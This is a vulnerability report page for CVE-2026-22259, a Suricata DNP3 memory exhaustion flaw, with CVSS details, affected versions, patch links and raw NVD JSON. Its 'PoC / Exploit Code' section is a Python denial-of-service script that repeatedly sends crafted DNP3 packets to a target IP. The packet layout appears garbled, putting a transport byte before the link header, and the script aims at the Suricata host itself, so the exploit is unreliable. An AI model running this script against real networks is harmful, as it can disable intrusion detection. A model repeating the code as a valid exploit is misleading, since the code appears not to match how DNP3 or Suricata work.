Security Vulnerability Report
中文
CVE-2026-22259 CVSS 7.5 HIGH

CVE-2026-22259

Published: 2026-01-27 17:16:12
Last Modified: 2026-01-30 20:01:49

Description

Suricata is a network IDS, IPS and NSM engine. Prior to versions 8.0.3 and 7.0.14, specially crafted traffic can cause Suricata to consume large amounts of memory while parsing DNP3 traffic. This can lead to the process slowing down and running out of memory, potentially leading to it getting killed by the OOM killer. Versions 8.0.3 or 7.0.14 contain a patch. As a workaround, disable the DNP3 parser in the suricata yaml (disabled by default).

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:* - VULNERABLE
Suricata < 7.0.14
Suricata < 8.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-22259 PoC - Suricata DNP3 Memory Exhaustion This PoC demonstrates sending malformed DNP3 traffic to trigger memory exhaustion in vulnerable Suricata versions. Note: This is for authorized security testing only. """ import socket import struct import time def create_malformed_dnp3_packet(): """ Create a malformed DNP3 packet designed to trigger excessive memory allocation. The packet contains nested/recursive data structures that cause the parser to allocate memory without proper bounds checking. """ # DNP3 Transport Header (first byte: 0xC4 = Start byte + Final fragment) transport_header = bytes([0xC4]) # DNP3 Data Link Layer Header (11 bytes) # Start: 0x0564, Length, Control, Destination, Source link_header = struct.pack('>HBBHH', 0x0564, # Start bytes 0x29, # Length (41 bytes) 0xC9, # Control byte (primary to secondary, reset, etc.) 0x0001, # Destination 0x0002 # Source ) # DNP3 Transport Segment - Malformed data to trigger memory exhaustion # Create data with deeply nested structures malformed_data = b'\x00' * 1000 # Padding to increase packet size # Add multiple fragments with crafted internal data fragments = [] for i in range(100): # Multiple iterations to amplify memory consumption # Create object headers that trigger nested allocation obj_header = struct.pack('BBBB', 0x0C, 0x3C, 0x01, 0xFF) * 50 fragments.append(obj_header) payload = transport_header + link_header + malformed_data + b''.join(fragments) return payload def exploit_suricata(target_ip, target_port=20000, duration=60): """ Send malformed DNP3 packets to target Suricata instance. Args: target_ip: Target Suricata IP address target_port: DNP3 service port (default: 20000) duration: Attack duration in seconds """ print(f"[*] Starting CVE-2026-22259 exploit against {target_ip}:{target_port}") print(f"[*] Attack duration: {duration} seconds") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((target_ip, target_port)) print("[+] Connected to target") start_time = time.time() packet_count = 0 while time.time() - start_time < duration: # Generate and send malformed packet packet = create_malformed_dnp3_packet() sock.send(packet) packet_count += 1 if packet_count % 100 == 0: print(f"[*] Sent {packet_count} packets...") time.sleep(0.1) # Brief delay between packets print(f"[+] Attack completed. Sent {packet_count} packets") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve-2026-22259-poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 20000 exploit_suricata(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22259", "sourceIdentifier": "[email protected]", "published": "2026-01-27T17:16:12.407", "lastModified": "2026-01-30T20:01:49.137", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Suricata is a network IDS, IPS and NSM engine. Prior to versions 8.0.3 and 7.0.14, specially crafted traffic can cause Suricata to consume large amounts of memory while parsing DNP3 traffic. This can lead to the process slowing down and running out of memory, potentially leading to it getting killed by the OOM killer. Versions 8.0.3 or 7.0.14 contain a patch. As a workaround, disable the DNP3 parser in the suricata yaml (disabled by default)."}, {"lang": "es", "value": "Suricata es un motor IDS, IPS y NSM de red. Antes de las versiones 8.0.3 y 7.0.14, el tráfico especialmente diseñado puede hacer que Suricata consuma grandes cantidades de memoria mientras analiza el tráfico DNP3. Esto puede provocar que el proceso se ralentice y se quede sin memoria, lo que podría llevar a que sea terminado por el OOM killer. Las versiones 8.0.3 o 7.0.14 contienen un parche. Como solución alternativa, deshabilite el analizador DNP3 en el suricata yaml (deshabilitado por defecto)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.0.14", "matchCriteriaId": "5302B0F0-AF2D-4140-BC66-9186EF7E455D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.3", "matchCriteriaId": "E7DA8362-52A2-4ACC-83F7-CA2E77AE89C6"}]}]}], "references": [{"url": "https://github.com/OISF/suricata/commit/50cac2e2465ca211eabfa156623e585e9037bb7e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OISF/suricata/commit/63225d5f8ef64cc65164c0bb1800730842d54942", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OISF/suricata/security/advisories/GHSA-878h-2x6v-84q9", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://redmine.openinfosecfoundation.org/issues/8181", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}